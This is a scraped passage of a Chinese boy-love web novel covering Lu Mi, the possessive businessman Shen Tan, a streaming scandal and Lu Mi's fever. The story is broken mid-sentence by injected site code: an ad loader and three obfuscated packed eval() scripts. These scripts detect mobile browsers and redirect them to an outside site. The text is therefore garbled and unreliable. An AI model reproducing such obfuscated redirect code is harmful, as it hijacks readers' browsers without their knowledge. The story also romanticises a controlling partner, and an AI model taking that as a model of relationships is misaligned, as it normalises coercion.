路弥完全没有沈谈回来的记忆,甚至做的梦都在醒来的瞬间记忆都消失得快要一干二净,他瑟缩了一下,连忙想钻出沈谈怀中。 不知道是察觉出他的意图,还是恰好,沈谈的手压住他的后腰,让他没办法再后退,“是你自己钻进来的,看来你一点都不记得了。” 路弥下意识抓紧沈谈胳膊,又立马松开,但他俩如今面对面靠得那么近,他都不知道自己该把手往里放,之前那一晚上他醒来根本没见到沈谈,也没有一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 点和沈谈睡一起的记忆,如今这么紧紧贴着,心脏都快跳出来了,也一点不敢说话,只敢摇头否认沈谈的话。 “这是要我帮你回忆的意思?”沈谈笑了声,掌心隔着睡衣紧贴着路弥后腰,说话慢条斯理,“我一躺下,你就抓着我的衣服要往我怀里钻,我还以为你关着灯会比平时更加大胆。” 他倒是没有欺骗路弥。 他躺下没多久,路弥就一个劲往他怀里钻,像是太冷了。 但房间开了暖气。 路弥身上并不冷。 只不过倒是害得他到现在一直没能降下火气。 路弥:“……” 路弥一张脸涨得通红,再怎么努力回忆也挖不出来这点记忆,逃又逃不掉,只能拼命低头试图把自己藏起来,又拼命小幅度摇头,“……我可能睡觉习惯不好。” 他没有跟别人睡一起的经验,不知道自己睡着了会是这副德行。 沈谈看起来似乎并不喜欢这样。 也确实是。 沈谈工作那么晚,自己却还在他睡眠时间打扰他。 “除了我还有别人跟你说过?”沈谈语气倒是听不出什么喜怒。 路弥摇头,感觉后腰那儿被沈谈掌心磨得发痒,但又不敢乱动。 腿和沈谈的腿几乎碰在一起,他再一动,大抵会让两人贴得更紧。 “那你怎么知道自己睡觉习惯不好?而不是别的原因。”沈谈垂眼。 路弥的睡衣被他自己蹭得乱七八糟。 沈谈掌心贴合的力道更大了点。 “应该……没有别的原因。”如果是沈谈说的关了灯会更大胆这种原因的话。 听起来太羞耻了。 路弥又把头低了些,快藏进枕头下面去。 “那看来是我自作多情,我以为起码会是因为知道是我这种理由,再或者是做了什么噩梦,想要寻求我的帮助。” 路弥愣了下。 那应该算不上什么噩梦,只不过是他普通得不能再普通的童年,只不过出现在梦里多少有些不合时宜。 更何况他不会寻求别人帮助。 包括沈谈。 他没有向别人寻求帮助的能力。 路弥把脸蹭在枕头上,“我下次会小心的。” “怎么小心?”沈谈注视着路弥的侧脸,垂着的眉眼不断颤动着。 表示他在害怕,在隐瞒。 “我可以等你休息后再休息。”路弥想不出更好的办法。 或者他们分开睡。 但他怕那样说沈谈会生气。 毕竟今晚自己这样把他闹醒他都没把自己扔下去。 “你能保证自己睡着后不再往我怀里钻吗?”沈谈语气淡淡。 路弥做不了保证。 沈谈倒是慢悠悠,“不过也算是个好办法,以后你等我睡下后再睡,在你睡着之前就钻进我怀里,这样就不用再在睡觉中途往我怀中钻,一劳永逸,你觉得如何?” 听起来多少有些关系过于亲密。 但对于他跟沈谈的关系来说,又并不过分。 路弥一直很清楚自己在沈谈身边该扮演什么角色。 他迟疑片刻,还没来得及点头答应,沈谈却又似乎不满这个做法,“那样也不行,比起来我还是更喜欢你在睡梦中往我怀里钻,我会觉得你在主动邀请我。” “……主动邀请?”路弥低声不解。 隐隐觉得那不是什么好话,但都已经问出口了。 沈谈的手陡然从衣摆中钻入,掌心完全贴合皮肤,路弥腰间有敏感地,人抖了一下,小腿蹭在了沈谈小腿上。 沈谈低头亲吻他的头发,在他发丝间低语:“在床上的主动邀请,你觉得是什么?” 17.道歉 路弥站在洗手台前看着镜子里的自己。 头发滴着水,冷水把脸打湿,脸上温度却始终没有降下来。 几分钟之前,沈谈接了个电话离开了。 就在问完那句话以后。 路弥明白那句话的含义。 没有那通电话,他不知道接下去会发生什么。 反复洗了几把冷水脸才把脸上的热度降下来,路弥对着镜子照了照自己的后腰,用手碰了下。 没什么感觉。 和被沈谈触碰的感觉完全不一样。 - “沈总,没想到您会亲自过来。”亚日直播的王总看着坐在自己对面的沈谈,脸上堆满了和蔼的笑。 沈谈朝他微微一笑,“客气了。” “那么我带您参观一下?听说您旗下也有一些团播项目,我们公司目前还是以游戏直播为主,不过近几年直播平台兴起,单一的游戏直播并不能满足客户需求。”王总边走边不动声色观察沈谈神色。 如今直播平台兴起,他们这种单一的游戏直播平台利润比前些年下滑十分明显,他之前一直想找人接手好填补他手下其他债务,但是又不舍得低价卖出。 沈氏给的价格非常诱人。 这还是他第一次见沈谈。 沈谈看起来比他想象中年轻许多,但气势是同龄人无法比拟的。 “我打算开拓团播市场。”王总微微低头,试图再提升一下公司价值。 但不管他说什么,沈谈始终没有搭话,只是安静地看着各个部门的运作,这让他无法确保沈谈到底是否真的有意愿收购。 如果沈谈想,他完全可以掌控这个市场,以沈家绝对的资本。 回到办公室,一直跟着沈谈的周风才递给王总一份文件,“这是我们给出的企划案。” 王总翻了两页,松了口气。 等沈谈他们走了,王总的助理才敢进来,把平板递给王总,“昨天的事情,还没完全闹大,要跟之前一样买些热度吗?” 平板屏幕上,赫然是那条控诉某有夫之夫主播勾搭自己男朋友、勾搭职业选手的微博。 经过一个晚上,虽然没什么名气,但传播度也已经较为广泛。 一般情况下平台需要热度,不管是正面还是负/面,对平台来说都是有利的。 但现在,王总头疼地揉了揉眉心,“让他马上删了!不准闹大!找管理让涉事的几个主播都闭嘴!” 他不想让沈谈在这个节骨眼上看到这种对平台不好的消息。 这可能会让沈谈这种商人压价。 就算沈谈肯定知道这种热度会给平台获利。 “上午有两个股东会议,下午已经和临市那边沟通好您会过去。”车上,周风说着顿了顿,看向后座半阖着眼的沈谈,“您昨晚没有休息?” 他记得沈谈凌晨离开了公司。 “他比较闹腾。”沈谈语气淡淡的。 周风回想起路弥安安静静的模样,对沈谈的话深表怀疑,就是没想到沈谈有一天也会有这种语气来炫耀,周风轻咳了声,“您真的要收购亚日直播吗?” 收购方案是沈谈的工作助理交上来的,周风之前对此并不知情。 沈谈眼皮没抬,“你有什么建议?” “我只是觉得您这么做路弥少爷会不会因此感到不舒服。”周风知道沈谈为什么要这么做。 沈谈睁开眼,“我应该从三年前就这么做。” 控制路弥身边的一切,而不是在自己认识他以后又放任他就这么过了三年。 过了三年不好的生活,让自己差点失去他。 “这不是您的错。”周风有些后悔提起这个话题。 沈谈向来是个非常冷漠沉稳的人,从他认识沈谈开始,沈谈就对身边的人非常淡漠,沈家人吸人血,个个都是能抽筋扒皮的骨,如果不那样,沈谈是没办法活下来,没办法走到现在的。 但唯独在路弥身上,周风觉得沈谈多了人性。 不然三年前沈谈就可以把路弥绑到身边。 - 路弥打了喷嚏,坐在床边摸了摸发痒的鼻尖,怀疑是不是自己刚刚洗了太多次冷水脸,导致出现了感冒的征兆。 他很怕自己会生病。 下楼问王姨要了一杯姜茶,在王姨再三叮嘱一定要注意保暖后,路弥才又回到了卧室。 手机上收到了几条消息。 有水木刚发过来的。 水木:[那人把微博删了,这是知道自己错怪别人了吗?阿墨本来就不是什么好东西,他不会真以为谁都看得上阿墨吧?] 路弥愣了下翻了翻昨天的链接,果然显示已被删除。 但对方也没对此做出任何解释,也没回应他口中的那个人到底是不是路弥。 不过这已经足够了。 很快大家就会淡忘这件事。 水木:[你还好吧迷路?今天我继续跟你一起直播?要是有黑子乱说我就帮你骂!] 路弥:[我想打荣誉排名] 水木:[我听不懂听不懂听不懂] 水木松了口气,看起来迷路是没什么事,依然满脑子都是打排名。 路弥忍不住笑了笑,[谢谢] 他发完切出去,往下翻了翻聊天列表,发现阿墨也给他发了消息。 最早一条是昨天半夜,在他睡下之后。 阿墨:[我跟浅茶不是情侣关系,只是朋友,一起出去吃过饭,我不知道他怎么会误会成这样,还误会了你,实在对不起,连累你了] 阿墨:[你已经休息了吗?晚安] 然后是今天,就在水木发消息之前。 阿墨:[我跟浅茶沟通过了,他已经把微博删了,我会让他给你道歉的,但他现在有些闹脾气,我会再好好跟他沟通的] 阿墨:[我一直在跟他解释我跟他的关系,也跟他说了你是个很可爱的男生,我真不知道他怎么会误会你的] 路弥小口小口喝着姜茶,感觉鼻子舒服多了,才回复阿墨:[他没有提我,我也不认为他在说我,我跟你没有任何关系] 浅茶就是那个发博的娱乐主播。 浅茶并没有提及自己,但阿墨的话证明浅茶确实是在说他,而阿墨说得也好像他真的做过勾搭阿墨、勾搭甜甜圈的事情一样,只不过浅茶误会了他跟阿墨的关系。 阿墨回复得很快,[我知道,只是浅茶看到了我们聊天记录,误会了] 路弥:[我们没说过几句话] 早知道他不应该加阿墨好友。 他又把阿墨的话翻出来看了看。 他实在看不出来管理口中阿墨会哄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13766467|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的本事在哪里。 他试图逐字分析。 阿墨差点把手机砸了,但还是忍住了脾气,[是他误会了,跟你没关系的迷路] 迷路并不像其他人一样那么好哄,就算加了好友,他依然对自己爱答不理。 但阿墨还是不愿意放弃。 人就是这样,越是得不到的,就越是想得到。 他这两天受的罪,迟早得在迷路身上取回来。 他昨晚到现在一直没睡。 前天他跟浅茶去了酒店,没想到浅茶偷看了他的手机,虽然他跟迷路并没有什么交流,但浅茶认为他把聊天记录都删了,他不喜欢不听话的,也懒得跟浅茶再解释纠缠直接离开了酒店,没想到昨天浅茶就发了那种微博。 浅茶的话指向性太强,虽然他把矛头都指向了路弥。 换其他人阿墨压根不管浅茶闹事,但他还没能得到路弥,至今没看到路弥长什么样,他并不甘心。 而浅茶这一发,还引发了不少阿墨其他对象的质问,阿墨只能一个个安抚他们,好在他们都比较好哄。 只有浅茶,长得不怎么样,脾气不小。 本来浅茶还不愿意删微博,但公会管理施压了。 现在微博一删,那些本来还有些闹的对象也就彻底消停了,也就只有浅茶,现在还在闹着要个说法。 微博都删了,管理也不允许他再提有关的事情,阿墨也就懒得再管他,专心安抚路弥这边。 但路弥的态度依然没有一点软化。 路弥:[嗯] 路弥实在没能分析出什么有用的话术,不管看阿墨哪句话都没法令他感到高兴,连他都不行,更别说沈谈了。 既然阿墨都说跟他没关系,他就没再搭理阿墨。 那是阿墨跟浅茶自己的事情,他并不想参与进去,至于其他人要误会,想要消除误会很难,只能等他们淡忘。 看着路弥十分冷漠的嗯,阿墨不满地踹了脚椅子,又去哄浅茶,[你知道我只喜欢你,我不可能喜欢迷路那种连脸都不敢露的人的,我都不知道他长得是人是鬼,怎么可能会被他勾引?] 浅茶并没有回复他。 浅茶把跟阿墨的聊天记录全都甩给了公会管理,[不想要我闹也行,让这个迷路公开道歉,给我道歉] 管理一个头两个大。 他经常跟阿墨接触,自然知道阿墨是什么人,但又不能跟浅茶说,浅茶这个脾气,肯定会直接闹出去,到时候一切就都完蛋了。 但让迷路道歉也不太可能,迷路最近流量正好,前几天他还有个新老板,虽然那个老板不怎么来,但看刷的礼物数,一定是条大鱼,他们不可能让迷路出来道歉而让大鱼跑了。 他只能尽量安抚住浅茶,[我这边会去跟管理组沟通,你先不要急,会给你一个满意的答复] 管理也是第一次遇到这种事,一般主播玩得花也很正常,比如阿墨,但他们不会把这种事放到台面上来,一个不小心砸了自己的招牌。 但这个浅茶太蠢了。 明明可以索要其他赔偿,非要让人道歉。 管理只能去问上头。 最近公司似乎有什么大变动,不然也不会把这事儿压下来。 上头很快给了回复:[那就让这个迷路给他道歉,别让他把事情闹大] 18.生病 晚上,路弥确认自己感冒了。 姜茶并不管用,王姨翻了翻家里的药箱也不敢乱给他吃药,“还是喊家庭医生吧?怎么会突然感冒了呢?楼上的暖气坏了吗?” 路弥:“……” 路弥弱弱地:“是我洗了冷水脸。” 他没想过自己这么容易生病,以前生活并不规律的时候反而没这样过。 王姨哎呀了声,“我先喊家庭医生过来,药不能乱吃的。” 路弥还没来得及阻止,王姨就给家庭医生打了电话。 打完电话,王姨想了想,这么大的事情还是得跟沈先生讲。 路弥看起来精神并不好,王姨知道他大抵睡了一整天,中午吃饭的时候就没什么精气神,也一直没让人上去打扫卧室。 那会儿她问路弥是不是身体不舒服,路弥只说自己没休息好,她就没有再过多询问。 早在路弥问自己要姜茶的时候她就应该警觉起来。 王姨多少有些自责。 告知沈谈路弥身体不适之后,王姨连忙去找了体温计,她担心路弥发烧。 路弥确实发烧了,38.5的体温,但他没感觉到自己身体有什么其他不适,只是比平时更怕冷,哪怕屋里暖气开得很足,他还是觉得冷,也比平时更嗜睡。 吃过早餐后他本来想去图书馆,但太困了,他以为是昨晚没睡好的缘故,准备稍微补一会儿觉,没想到一觉醒来已经到了中午,下午也是提不起什么精神,又睡了很久。 路弥披了条王姨抱来的毯子靠在沙发上,手里捧着杯热水,扭头看向不停看时间的王姨,忍不住出声:“王姨,我没事,只是小感冒而已。” “路弥先生,您发烧了。”王姨语气多少有些着急,“您先回卧室吧?医生很快就会来了。” “我在这里等他就好。”路弥小口小口喝着热水,见王姨神色一点也没有缓和,路弥抿着唇思考好一会儿,“王姨,是我自己没注意好身体。” 他看得出来王姨在担心自己,也在自责。 但这跟王姨没关系。 他不希望王姨因为自己而不高兴。 王姨又看了眼时间,听见这话愣了下,“这哪是您的问题?谁都预料不到自己会生病的呀,您现在应该好好休息,早点恢复健康就好了。” 路弥神色有些愧疚,本来生病就让他看起来面色苍白,看得王姨更加心疼。 她知道路弥这话多半在安抚自己。 虽然不知道在此之前路弥过的是什么生活,但这些日子相处下来她也多少能摸到一些路弥的性子,路弥并不喜欢麻烦别人,也不习惯被人关心和重视。 与其说是不习惯,不如说是以前他大概从来没受到过重视。 他也不相信沈先生。 不然不会这么久了在这个家里还是这么生分,连身体不舒服也不会告诉她,更没有告诉沈谈。 沈谈回来的时候已经是半夜。 王姨一晚上没睡,生怕路弥有什么不舒服醒来找不到人。 她在楼下沙发上眯了一会儿,听见沈谈进屋的声音连忙起身去迎接沈谈。 沈谈神色比平时冷淡许多,“他睡了吗?” 王姨发消息过来的时候他在隔壁市谈生意,本来晚上还有一场国际会议,现在只能让周风顶上。 “打了点滴没多久就睡着了。”王姨没敢抬头,她在沈家待了很久,知道沈谈这时候在生气。 只是他向来很少情绪外露。 “你可以去休息了,早餐我会让餐厅送过来。”沈谈说着脱掉外套把路弥落在沙发上的毯子抱起来,也没急着上楼。 他刚从外面进来,如今气温骤降,他不怕冷,身上寒气太重,得在屋里暖和一会儿。 沈谈这话没明着说,王姨却懂了。 沈谈在怪罪她,让她休息是让她暂时不要再照顾路弥了,不然也不会让餐厅送餐。 不过王姨反倒是松了口气。 这样说明沈谈确实很在意路弥。 - 卧室里一片漆黑,路弥的拖鞋规整地摆在卧室门口。 沈谈低头看了眼,脱了鞋进去。 他没开灯,黑暗里也能看清一些东西。 卧室里暖气开得很足,路弥身上的被子被他踹掉了一半,沈谈摸了摸他的脸,摸到了一手心的汗,不只是脸上,脖颈上也是,睡衣都被汗浸湿。 路弥睡得并不安稳,呼吸比之前要乱许多,大抵人还是不舒服。 沈谈帮他把被子盖好,去拿干毛巾的功夫,他就又把被子踢掉了。 比平时不听话。 沈谈帮他擦干身上,重新系上睡衣扣子,盖好被子,整个过程路弥都没醒来。 只是等沈谈要去把毛巾放回浴室的时候,手却被抓住了。 路弥掌心都是汗。 怕再着凉,他把暖气调高了,被子也盖得严严实实,睡过去之前就已经出了一身汗,他能感觉到自己没有之前那么怕冷了,应该是在慢慢退烧,就安心睡下了。 只是越睡越热,身体本能地在寻找降温的方式。 迷迷糊糊间感觉身上的黏腻似乎减少不少,也凉快许多,但比起这个,似乎有另外的体温令他感到舒适。 路弥忍不住抓住了那道体温。 他隐隐约约知道那会是谁,但意识太迷糊,怎么也喊不出来那个名字,只剩下潜意识的行为让他把人拉到自己身边,也庆幸对方并没有挣扎并没有拒绝离开,而是顺从他的意愿在他身边躺下。 路弥摸索着对方的手,对方的手臂到脖颈,发着热的掌心触碰到微凉的皮肤,让他舒服得恨不得整个人贴上去。 他也确实是这么做了。 只不过隔着衣服多少有些碍事,但路弥还没那个在睡梦里扒人衣服的本事,幸亏对方只穿着很薄的衬衫,就算是现在这样也能感受到彼此的体温。 路弥舒服地把脑袋靠在对方怀中,抓着对方的手腕轻声,“……沈谈,是你吗?” 还没能得到答案,路弥就猛地睁开眼,被完全惊醒。 眼前确实一片漆黑,但触感是真实的,他拉着人把自己挤进对方怀中也是真实的。 他还拉着对方的手腕,掌心的汗大概都蹭在了对方怀里。 他下意识往后缩,但被搂得太紧了。 “喊了我又要离开是什么意思?”沈谈的声音从他头顶传过来。 在视觉受限的空间里听觉变得格外敏锐,连呼吸和心跳声都一清二楚。 “我生病了……会传染给你。”路弥只能临时找个借口。 虽然这也是事实。 “我知道。”沈谈很强硬地抓起路弥的手,把他的手放进自己的衣摆下方。 掌心贴合到更舒适的温度,路弥瑟缩了一下,连着心脏一块儿被拉扯,但又忍不住觉得舒服,他在黑暗里看不见沈谈的神色,脑袋贴在沈谈胸口短暂性失明,感觉自己好像没有之前那么怕沈谈了。 又或者是因为人在生病的时候会本能寻找庇佑。 哪怕沈谈没有再用力压着他的手,路弥也没有把手抽开。 “现在你应该明白上次我并没有欺骗你了。”沈谈似乎并不在意生病这种事,“既然你知道是我,那就应该记得刚刚自己是怎么把我拽到床上的。” 路弥自然记得,但用拽这个词是不是不太妥当。 他不记得自己有那么大力气能够拽得动沈谈。 但他也不敢反驳。 沈谈说的是实话,确实是他把沈谈“拽”到床上的,他贪图沈谈身上的温度。 而现在他彻底被沈谈抱在怀里,被子不知所踪,应该是被他踢到床下去了。 但一点也不冷,也没那么热。 拥抱传来的温度恰到好处。 路弥低低嗯了声,“……记得。” “你可以把手再往上一点,不过不能放到容易让我失去控制的地方,你知道是哪里吗?”沈谈握着路弥的手腕引导他,路弥听不出他语气里的喜怒,但又觉得他此刻多半是怒多于喜,否则不会没有像平时一样说话的时候带着笑意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13777637|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但路弥猜不出他到底为何而怒,大概率不会是因为自己把他拽到床上,不然他完全可以直接挣脱离开。 路弥只能顺着他的意思掌心往上,贴合着沈谈腹部的肌肉,路弥也没敢再继续往上。 再往上大概就是会让沈谈失去控制的地方。 路弥并不敢乱碰。 沈谈没有再说话,只是路弥感觉被他抱得更紧了,有些喘不过气来,掌心底下那片皮肤已经被他捂得很热,但沈谈跟没感觉一样。 刚醒来那会儿路弥还有些犯困,但大概是烧退了下去再加上白天睡了太久,他现在反而更加清醒。 动了动脑袋,路弥小心翼翼开口:“沈先生,你睡了吗?” “这里没有叫沈先生的。”沈谈的声音听不出来一点睡意。 刚刚喊沈谈的名字只是无意之举,直接喊名字多少显得他们过于亲密,路弥知道自己没那个资格直呼沈谈大名,所以一直以沈先生尊称。 他沉默片刻,向沈谈解释:“我刚刚没有睡醒。” “看来你在睡梦里都在想我。”沈谈总有曲解他话里本意的本事。 虽然这话确实没错。 他确实在梦里下意识想起了沈谈,但那也并非完全是梦,他并不觉得自己在做梦。 路弥贴在沈谈肌肉上的手指动了动,特别低声地不好意思地问:“你帮我擦了身体吗?” 他已经学会了转移话题。 沈谈倒也没揪着刚刚的话不放,嗯了声,“除了我应该没有别人能做这种事,我给你脱了衣服擦了身体,本来不想再帮你把衣服穿回去,那样更方便一些。” 他说完感觉腹部被抓了一下。 但路弥指甲修剪得十分平整,并没有造成什么实质性伤害,只不过像是被连指甲都没长齐的猫挠了一下而已。 路弥自己也意识到自己做了什么,连忙放松下来让自己不要乱动,只是沈谈这话多少有些令人面红耳赤。 他明明记得沈谈只是帮他擦了身体而已,衣服也只是解开了扣子。 他不敢再乱说话,就这么贴着沈谈胸口好一会儿又开始泛起了困意,等快睡着的时候才想起来什么,拖着困倦的声音道:“……我感冒了,会传染给你。” “我的身体还没这么虚弱。”沈谈压住路弥乱动的双腿,“你要是不想这么睡,可以直接提出来,不过我今天大概率不会答应。” 换成平时路弥大概会在心底拒绝。 但今天他没有拒绝的心思。 他第一次觉得安心。 至少在生病的时候有人陪在身边,虽然那个人是沈谈。 但也幸好沈谈今晚回家了。 他第一次在清醒的状况下和沈谈相拥而眠,很快就沉沉地再度睡了过去。 黑暗里沈谈始终睁着眼,一直到怀里的人呼吸又像平时一样沉稳,他才低下头,在路弥额头上落下一个很轻的吻。 无关情欲。 第二天一早沈谈去打了几个工作电话,回来的时候路弥还没睡醒。 路弥的感冒并没有好,凌晨的时候沈谈听见他呼吸又重了起来,但并没有再度烧起来。 坐到床边给家庭医生发了消息让他再过来几天,沈谈表情越发浅淡。 路弥看起来比昨天瘦了些,神色憔悴,比在餐厅见面那次更加脆弱。 手机振动起来,沈谈摁掉电话,神色晦暗地起身准备去隔壁卧室洗个澡,路弥放在床头的手机倒是震了起来。 来电显示是“公会”。 看了眼还在睡眠中的路弥,沈谈拿起路弥手机去了外面。 “昨天怎么没直播?算了这不是重点,你跟阿墨的事情平台处理结果出来了。”电话一接通,对面的人口气就不怎么友好。 公会管理本来也不想打这个电话,但昨天路弥直接失联,直播没请假,后台消息未读,多半是被阿墨的事情影响。 见路弥不说话,他正忍不住脾气想开口,那头却传来一声低沉的,“什么事?” 听起来完全不是路弥的声音。 19.试探(含入V公告) 路弥醒来的时候卧室里没人。 他的烧退了,但鼻子还堵着,有些呼吸困难,不过人已经完全清醒了,不像昨天那样一直犯困。 床的另一边已经没了温度,沈谈应该早就起了。 路弥松了口气,不然他真不知道该怎么面对沈谈。 他的手应该在沈谈衣服下放了一晚上。 他去洗了个澡,出来的时候头晕得厉害,不知道是因为闷太久了还是饿太久了。 从昨晚到现在路弥一直没吃过东西。 缓了一会儿路弥才下楼,已经过了早餐时间,但估计因为他不舒服,王姨并没有喊醒他。 下了楼路弥没看见王姨身影,倒是在餐厅看见了个陌生的寸头男。 路弥愣了下,下意识后退两步。 见状,陈生连忙试图露出个和蔼可亲的笑,朝路弥招了招手打了个招呼:“哈喽我叫陈生,沈谈让我来给你送餐的。” 陈生一边说着一边在心底默默吐槽,万万没想到有一天他陈大少爷居然沦落到给人送餐上门这种地步。 一开始他还想着让员工送,但沈谈不乐意让别人进他的别墅。 也不知道他是不是该感到荣幸。 但也正常。 他要是像沈谈这种身份地位,高低得给自己配几个保镖在门口站着,更别说家里还藏了个心肝宝贝。 听见沈谈的名字,路弥愣愣哦了声。 “沈谈临时有事出去了,应该很快就能回来,他说你要是醒了就先吃,不用等他回来。”陈生用尽平生最温和的语气,跟哄骗小孩儿似的。 他见过路弥怕沈谈那副模样。 不过现在看起来,路弥似乎也没那么怕他,没那么胆小,听了他的话后还真点了点头。 虽然生了病,路弥看起来倒是比上一次见面胖了一点。 沈谈这人虽然过于禽兽,但好歹把人养得不错。 想起沈谈走之前叮嘱的不能打扰路弥,路弥一过来陈生就灰溜溜去了客厅。 路弥回头看了一眼,见陈生没看着自己,自在许多。 陈生送来的餐都很清淡,看起来应该是出自哪家大餐厅,十分清淡的餐摆盘却很精致,路弥只吃了一口就尝出来,是他和沈谈第一次见面那家餐厅的味道。 他愣了下,再度扭头去看陈生,陈生才准备偷瞄他一眼准备跟陈秀八卦一下自己今天遭受的待遇,见他突然扭头,连忙转过头去摸自己手机,动作幅度太大,不小心把脖子扭了,疼得人龇牙咧嘴。 见陈生表情扭曲,路弥眨了眨眼,“……你没事吧?” “没、没事。”陈生哪敢说自己有事,他都怀疑要是自己多跟路弥说几句话,一会儿沈谈回来都能给他皮扒了。 路弥小幅度点点头,没再多看陈生一眼。 看得出来对方似乎比他更加不自在。 路弥胃口恢复不少,吃了不少东西,但还是留了点肚子。 不知道沈谈什么时候回来。 他吃完后陈生还保持着歪着脑袋的姿势坐在沙发上,路弥盯着陈生那怪异的姿势看了一会儿,“你是不是扭到脖子了?” 陈生立马整个人从沙发上跳起来:“没有的事,你吃好了吗?吃好了我就把东西收了啊,要不要打游戏?我带了游戏机……” 路弥很轻地摇了摇头,见陈生真要过来收餐,犹豫了一下,“……沈先生还没回来。” “他饿不死自己。”陈生脱口而出一句,又连忙改口,“我的意思是等他回来再给他弄。” 陈生说着瞥了眼路弥表情,见路弥没被自己吓到微微松了口气。 他平时说话难听惯了,一时半会儿很难收敛。 听陈生这语气,路弥大抵能猜到沈谈跟他关系应该不错,但陈生看起来比沈谈年轻一些。 路弥都那么说了,陈生也就没再摆弄那些剩下的餐,就是他从没见沈谈吃别人吃剩下的东西,多少有些稀奇,正寻思着沈谈一会儿回来自己要不要找什么理由留下来看看沈谈到底会不会吃,出了个神的功夫,路弥突然往他面前的桌上放了瓶药酒。 他愣了下,路弥人已经跑到沙发那儿去了,依然和他保持着遥远的距离。 看起来多少还是有些怕他的。 与其说怕他,不如说是怕生。 沈谈还真跟养了个宝贝一样。 陈生晃了晃那瓶药酒,一手拍在自己扭伤的脖子上,痛得要死,脸上一脸不在乎:“没什么事儿,这点伤算不上什么,不过还是谢了啊,你叫路弥是不是?我比你大,你可以叫我陈生哥。” 路弥不习惯跟陌生人聊天,之前也仅仅是因为沈谈,陈生跟他聊天他多少有些不自在,犹豫了一下点点头,又低头去看手机。 昨晚水木跟阿墨都给他发了消息,还有高游。 水木:[你怎么没直播也没请假啊?是不是出什么事了?] 水木:[连消息都不看,你是不是为了不跟我双排把我拉黑了!] 昨天发烧太突然,路弥根本忘了要请假这件事,他以前明明就算再累都会坚持着直播,毕竟全勤的钱能抵他很久的生活费,昨天这么一休息,这个月时长又要差一点才能补齐。 路弥连忙回复水木:[没有拉黑,昨天临时有点事] 他并不喜欢把自己的弱点给别人看,也就没告诉水木自己生病了。 水木应该还在睡觉,并没有回复。 “要不要加个好友?我们餐厅的餐还不错吧?以后你想吃可以随时跟我讲,我们餐厅支持外送。”见路弥在那儿玩手机,陈生耐不住嘴忍不住道。 路弥愣了下,犹豫一会儿还是把二维码递给了陈生看。 毕竟是沈谈的朋友。 陈生干脆利落加上路弥好友,“要不要打游戏?不玩游戏机的话手机游戏也行啊,你玩手机游戏吗?” 一般年轻人打开话题就靠这玩意,陈生也不敢用搭讪那套说辞对路弥,只能用这招来拉近关系。 路弥摇摇头。 “那电脑游戏?”陈生也料到答案了,看路弥这样应该不会玩那些乱七八糟的游戏,完全就是好学生的样子。 路弥犹豫了一下,点头。 陈生一步步挪到沙发那儿,“什么游戏?目的地吗?现在火的也就这个了,我上学那会儿老玩,我姐还因此搞了个战队,以为能赚钱,结果那战队打得太烂亏了我姐不少钱,她就把火撒我身上不准我玩。” 路弥点头,“目的地。” 他一般不跟别人提起自己打游戏的事情,但对方是沈谈朋友。 “你什么段位?我带你上分?不过得偷偷背着沈谈,那家伙不准我跟你说话。”陈生说到这儿突然哽住了,下意识抬头看了看天花板,确认没监控才松了口气。 他真怕沈谈那变态会在家里装监控。 路弥轻声:“……荣誉。”荣誉是目的地的最高段位。 陈生表情顿了顿,在离沙发一米多的地方停住了脚步,“有空你带带我?” 他刚说完,大门就被推开。 沈谈身边还跟着周风,周风抱着笔记本电脑和一些资料,沈谈的视线先落在了陈生身上,陈生立马往后退了好几步,恨不得瞬间离沙发十万八千里远。 沈谈神色没变,对他说了句:“辛苦了。” 那模样看起来跟个绅士没什么差别。 不过沈谈这人跟绅士差得可太远了。 陈生一边在心里吐槽一边歪着脑袋说不辛苦,应该的。 沈谈连看都没再看他一眼,径直朝着沙发那儿走了过去。 路弥还没反应过来,沈谈就已经在他身边坐下,抬起手掌心贴在他额头上,“洗过澡了。” 路弥身上有沐浴露的味道。 是陈述句不是疑问句。 路弥点头,往后缩了缩脖子。 他不习惯这么多人在场,但沈谈似乎并不在乎在别人面前表现得亲密。 不过也是,像他们这样的人,应该早就见怪不怪。 路弥手指陷入柔软的沙发,摇了摇头,“我已经退烧了沈先生。” “这里还是没有叫沈先生的。”沈谈似乎开始不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13786425|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满意这个称呼,“不过你确实已经退烧了,就是说话听起来像还没睡醒。” 路弥鼻子不通,说话带着鼻音。 他下意识捂住鼻子,沈谈轻笑一声,“一会儿医生还会来给你检查,我今天会留在家里。” 沈谈说完朝门口的周风点头,周风十分利落地把文件和笔记本一并放到茶几上,然后一句话都没说就退到了陈生旁边。 